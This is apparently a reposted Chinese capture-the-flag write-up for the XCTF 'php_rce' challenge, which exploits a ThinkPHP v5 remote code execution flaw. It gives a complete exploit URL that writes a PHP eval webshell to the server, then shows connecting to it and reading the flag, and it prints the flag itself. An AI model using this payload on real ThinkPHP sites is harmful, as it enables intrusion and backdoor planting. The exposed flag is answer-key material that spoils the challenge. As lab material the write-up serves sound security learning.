本文主要是介绍XCTF_Web_003_php_rce，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

Writeup

看题目，应该是ThinkPHP的RCE漏洞

ThinkPHP的V5版本未对控制器进行过滤，导致攻击者可以通过引入\符号来调用任意类方法

// 获取控制器名
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller'));

不知怎么利用就google搜一下POC

搜索flag
find / -name flag

cat 查看

Writeup2

写入webshell

http://111.200.241.244:57672/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27%3C?php%20eval($_POST[shell]);%20?%3E%27%20%3E%20shell.php

查看网站目录，已经将shell.php写进去了

上蚁剑

浏览一下

FLAG

flag{thinkphp5_rce}

这篇关于XCTF_Web_003_php_rce的文章就介绍到这儿，希望我们推荐的文章对大家有所帮助，也希望大家多多支持为之网！